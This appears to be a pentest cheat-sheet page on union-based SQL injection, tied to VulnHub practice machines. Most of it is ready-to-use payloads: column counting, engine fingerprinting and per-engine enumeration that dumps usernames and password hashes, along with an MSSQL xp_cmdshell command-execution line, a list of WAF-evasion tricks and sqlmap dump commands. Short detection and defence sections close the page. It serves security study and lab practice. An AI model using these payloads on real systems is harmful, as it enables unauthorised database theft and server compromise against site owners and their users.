Union-based SQL Injection

Union-based SQL injection abuses a vulnerable query to append a second query whose result is shown in the same response as the original. The UNION SELECT operator concatenates the rows of two SELECTs, so if the site prints the result of the first (say, a profile with ?id=1), we can make it also print whatever ours returns: database names, tables, columns and, in the end, credentials. The exact syntax depends on the engine (MySQL, MSSQL, PostgreSQL, Oracle, SQLite), so the first real job is to identify it and adapt the payloads.

Counting columns and finding the reflected one

For a UNION to work, both queries must have the same number of columns and compatible types. Count them with ORDER BY incrementing the index until it errors, or by trying UNION SELECT with NULLs. Then mark which column is reflected by putting numbers instead of NULL:

?id=6' ORDER BY 6-- -                         # OK
?id=6' ORDER BY 7-- -                         # error -> 6 columns
?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL-- -   # confirms 6 columns
?id=6' UNION SELECT 1,2,3,4,5,6-- -           # shows which column(s) print (e.g. 2 and 6)

The trailing -- - comment (with a space) cancels the rest of the original query. Non-reflected columns get NULL; the reflected one gets the enumeration function.

Fingerprinting: which engine

Before enumerating, confirm the engine, since concatenation and metadata tables differ:

?id=6' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL-- -        # MySQL / MSSQL
?id=6' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL-- -        # MySQL / PostgreSQL
?id=6' UNION SELECT NULL,banner,NULL,NULL,NULL,NULL FROM v$version-- -   # Oracle
?id=6' UNION SELECT NULL,sqlite_version(),NULL,NULL,NULL,NULL-- -        # SQLite

Another quick tell: string concatenation differs by engine ('a' 'b' MySQL with a space, 'a'+'b' MSSQL, 'a'||'b' PostgreSQL/Oracle/SQLite).

Enumeration by engine

MySQL / MariaDB

# current db, tables and columns via information_schema
?id=6' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL-- -
?id=6' UNION SELECT NULL,group_concat(table_name),NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -
?id=6' UNION SELECT NULL,group_concat(column_name),NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
?id=6' UNION SELECT NULL,group_concat(user,0x3a,pass SEPARATOR '\n'),NULL,NULL,NULL,NULL FROM users-- -

MSSQL (SQL Server)

No group_concat; aggregate with FOR XML PATH('') or STRING_AGG (2017+), and it supports stacked queries with ;:

?id=6' UNION SELECT NULL,DB_NAME(),NULL,NULL,NULL,NULL-- -
?id=6' UNION SELECT NULL,name,NULL,NULL,NULL,NULL FROM master..sysdatabases-- -
?id=6' UNION SELECT NULL,(SELECT STRING_AGG(name,',') FROM sys.tables),NULL,NULL,NULL,NULL-- -
?id=6'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'-- -   # RCE if sysadmin

PostgreSQL

Concatenation with ||, aggregation with string_agg, ::text casts when the type does not match:

?id=6' UNION SELECT NULL,current_database(),NULL,NULL,NULL,NULL-- -
?id=6' UNION SELECT NULL,string_agg(table_name,','),NULL,NULL,NULL,NULL FROM information_schema.tables-- -
?id=6' UNION SELECT NULL,string_agg(usename||':'||passwd,','),NULL,NULL,NULL,NULL FROM pg_shadow-- -

Oracle

Every SELECT needs a FROM; use FROM dual for constants and all_tables/all_tab_columns for metadata:

?id=6' UNION SELECT NULL,table_name,NULL,NULL,NULL,NULL FROM all_tables-- -
?id=6' UNION SELECT NULL,column_name,NULL,NULL,NULL,NULL FROM all_tab_columns WHERE table_name='USERS'-- -
?id=6' UNION SELECT NULL,LISTAGG(username||':'||password,',') WITHIN GROUP (ORDER BY username),NULL,NULL,NULL,NULL FROM users-- -

SQLite

No information_schema: the whole schema lives in sqlite_master, concatenation with ||:

?id=6' UNION SELECT NULL,group_concat(name),NULL,NULL,NULL,NULL FROM sqlite_master WHERE type='table'-- -
?id=6' UNION SELECT NULL,sql,NULL,NULL,NULL,NULL FROM sqlite_master WHERE name='users'-- -   # see columns in the CREATE TABLE
?id=6' UNION SELECT NULL,group_concat(user||':'||pass),NULL,NULL,NULL,NULL FROM users-- -

Getting past the WAF: bypass arsenal

When a filter blocks keywords or spaces, combine tricks until one gets through:

# comments as separators instead of spaces
?id=6'/**/UNION/**/SELECT/**/1,2,3,4,5,6-- -
# mixed case (filters that only match "UNION")
?id=6' UnIoN sElEcT 1,2,3,4,5,6-- -
# split the keyword (non-recursive filter that strips "UNION"/"SELECT" once)
?id=6' UNIunionON SELECTselect 1,2,3,4,5,6-- -
# MySQL version comment (runs despite the /*! */)
?id=6' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4,5,6-- -
# alternative space separators: %09 (tab) %0a (LF) %0c %0d %a0
?id=6'%0aUNION%0aSELECT%0a1,2,3,4,5,6-- -
# strings without quotes: hex or CHAR() to dodge the ' filter
?id=6' UNION SELECT 1,2,3,4,5,6 FROM users WHERE name=0x61646d696e-- -
?id=6' UNION SELECT 1,CHAR(97,100,109,105,110),3,4,5,6-- -
# no spaces using parentheses
?id=6'UNION(SELECT(1),(2),(3),(4),(5),(6))-- -

Automation

sqlmap -u 'http://<ip>/index.php?id=1' --batch --dbs
sqlmap -u 'http://<ip>/index.php?id=1' -D <db> -T users --dump --technique=U --tamper=space2comment,between

Requirements. The input must reach a query unsanitised and its result must be reflected (if the data is not printed, go to blind SQLi) and the engine must support UNION. It often coexists with SQLi login bypass when the same panel is vulnerable, and with writing files via INTO OUTFILE when there is FILE privilege.

How to detect it. Union SQLi is noisier than blind because the enumeration is in the URL itself: the access log shows UNION SELECT, ORDER BY N with rising N, information_schema/sqlite_master/all_tables, group_concat/string_agg/FOR XML PATH and the -- - comment, all signatures any WAF flags instantly. The column-count phase leaves a telltale trail: identical requests differing only in the ORDER BY index, several returning 500. The bypass attempts (/**/, UnIoN, 0x..., CHAR(...), %0a between words) are a signal in themselves. On the database side, the query log records SELECT ... UNION SELECT ... FROM information_schema from the application account, which a healthy app never queries.

Defence. Parameterised queries (prepared statements), never concatenate user input into SQL, a least-privilege database user (no FILE, no xp_cmdshell) and no exposed error messages. Extracted hashes still need cracking: chains with hash cracking.

Toolssqlmap

Machines where it's used

BlackMarket 1VulnHub
Darkhole 2VulnHub
MyExpense 1VulnHub